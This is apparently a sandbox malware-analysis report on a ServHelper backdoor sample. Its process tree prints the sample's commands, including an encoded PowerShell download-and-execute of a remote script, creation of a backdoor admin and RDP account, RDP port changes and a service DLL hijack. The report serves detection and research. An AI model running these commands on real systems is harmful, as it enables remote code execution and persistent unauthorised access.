Analysis

  • max time kernel
    131s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    23-05-2021 07:05

General

  • Target

    4d4cb53955f998f339000039ebd0685b.exe

  • Size

    6.0MB

  • MD5

    4d4cb53955f998f339000039ebd0685b

  • SHA1

    49218231e8ce8358683bca89a28e3f533bd25700

  • SHA256

    39f4d59b94d2b39408e4dc962fbf2e65a79b234b46a42c6b05856e60acf7f95b

  • SHA512

    651c27448bd488b9f2628bee4a05f4e25111882fffe398419815aa6239939bac8d39a3e951549acf084870d94c6461cc6c7e3e934f0049fcc7c80b69fbdab640

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe
    "C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1596
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1432
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1256
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1584
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1620
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1528
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:944
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1788
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1964
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1748
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1428
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        3⤵
          PID:1712
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          3⤵
          • Modifies registry key
          PID:948
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          3⤵
            PID:1516
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1552
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
                PID:1248
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:348
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1052
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1924
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    6⤵
                      PID:1984
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                3⤵
                  PID:2028
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                      PID:1944
                      • C:\Windows\system32\net.exe
                        net start TermService
                        5⤵
                          PID:972
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 start TermService
                            6⤵
                              PID:1992
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                        3⤵
                          PID:1804
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                          3⤵
                            PID:1252
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user wgautilacc Ghar4f5 /del
                        1⤵
                          PID:1584
                          • C:\Windows\system32\net.exe
                            net.exe user wgautilacc Ghar4f5 /del
                            2⤵
                              PID:1528
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                3⤵
                                  PID:992
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc bI7yVrs7 /add
                              1⤵
                                PID:1548
                                • C:\Windows\system32\net.exe
                                  net.exe user wgautilacc bI7yVrs7 /add
                                  2⤵
                                    PID:1340
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user wgautilacc bI7yVrs7 /add
                                      3⤵
                                        PID:1652
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                    1⤵
                                      PID:1500
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        2⤵
                                          PID:288
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            3⤵
                                              PID:1060
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                          1⤵
                                            PID:1832
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              2⤵
                                                PID:1608
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  3⤵
                                                    PID:348
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                1⤵
                                                  PID:960
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    2⤵
                                                      PID:1692
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                        3⤵
                                                          PID:1496
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe user wgautilacc bI7yVrs7
                                                      1⤵
                                                        PID:1848
                                                        • C:\Windows\system32\net.exe
                                                          net.exe user wgautilacc bI7yVrs7
                                                          2⤵
                                                            PID:1964
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user wgautilacc bI7yVrs7
                                                              3⤵
                                                                PID:1328
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd.exe /C wmic path win32_VideoController get name
                                                            1⤵
                                                              PID:2008
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic path win32_VideoController get name
                                                                2⤵
                                                                • Modifies data under HKEY_USERS
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:556
                                                            • C:\Windows\System32\cmd.exe
                                                              cmd.exe /C wmic CPU get NAME
                                                              1⤵
                                                                PID:1756
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic CPU get NAME
                                                                  2⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:1536
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                1⤵
                                                                  PID:960
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    2⤵
                                                                      PID:2004
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        3⤵
                                                                        • Drops file in Windows directory
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1652

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v6

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • memory/628-63-0x00000000411C6000-0x00000000411C7000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/628-62-0x00000000411C4000-0x00000000411C6000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/628-59-0x0000000041670000-0x0000000041A91000-memory.dmp

                                                                    Filesize

                                                                    4.1MB

                                                                  • memory/628-64-0x00000000411C7000-0x00000000411C8000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/628-61-0x00000000411C2000-0x00000000411C4000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1256-141-0x000000001A814000-0x000000001A816000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1256-140-0x000000001A810000-0x000000001A812000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1432-123-0x000000001B730000-0x000000001B731000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1432-119-0x00000000027F0000-0x00000000027F1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1432-121-0x000000001A9C0000-0x000000001A9C1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1432-126-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1432-124-0x0000000002500000-0x0000000002501000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1432-125-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1596-72-0x00000000024C0000-0x00000000024C1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1596-76-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1596-66-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1596-69-0x000000001A9F0000-0x000000001A9F2000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1596-78-0x000000001A9FA000-0x000000001AA19000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/1596-149-0x000000001C5C0000-0x000000001C5C1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1596-68-0x000000001AA70000-0x000000001AA71000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1596-71-0x0000000002410000-0x0000000002411000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1596-67-0x0000000002710000-0x0000000002711000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1596-74-0x000000001B590000-0x000000001B591000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1596-70-0x000000001A9F4000-0x000000001A9F6000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1596-77-0x000000001B760000-0x000000001B761000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1596-79-0x000000001B7F0000-0x000000001B7F1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1652-200-0x0000000019574000-0x0000000019576000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1652-202-0x000000001957A000-0x0000000019599000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/1652-199-0x0000000019570000-0x0000000019572000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1804-88-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1804-90-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1804-86-0x000000001ACC4000-0x000000001ACC6000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1804-111-0x000000001B760000-0x000000001B761000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1804-112-0x000000001B770000-0x000000001B771000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1804-85-0x000000001ACC0000-0x000000001ACC2000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1804-92-0x00000000026D0000-0x00000000026D1000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1804-93-0x0000000002630000-0x0000000002631000-memory.dmp

                                                                    Filesize

                                                                    4KB

                                                                  • memory/1804-98-0x000000001B720000-0x000000001B721000-memory.dmp

                                                                    Filesize

                                                                    4KB